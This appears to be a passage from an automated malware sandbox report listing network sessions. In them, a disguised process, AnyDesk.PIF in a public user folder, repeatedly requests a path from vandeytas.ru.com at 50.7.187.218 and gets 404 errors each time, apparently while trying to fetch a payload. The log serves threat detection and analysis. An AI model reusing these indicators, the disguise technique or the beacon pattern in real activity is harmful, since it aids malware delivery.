2024-11-26 08:40:09 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:09 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:09 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:09 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49876	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:11 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:12 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:11 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:12 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49881	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:13 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:14 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:14 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:14 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49887	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:15 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:16 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:16 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:16 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49894	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:18 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:18 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:18 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:18 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49900	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:20 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:20 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:20 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:20 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49907	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:22 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:22 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:22 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:22 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49914	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:24 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:25 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:25 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:25 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49921	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:26 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:27 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:27 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:27 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49928	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:29 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:29 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:29 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:29 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49935	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:31 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:31 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:31 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:31 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49942	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:33 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:33 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:33 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:33 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49949	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:35 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:35 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:35 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:35 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49955	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:37 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:38 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:37 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:38 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
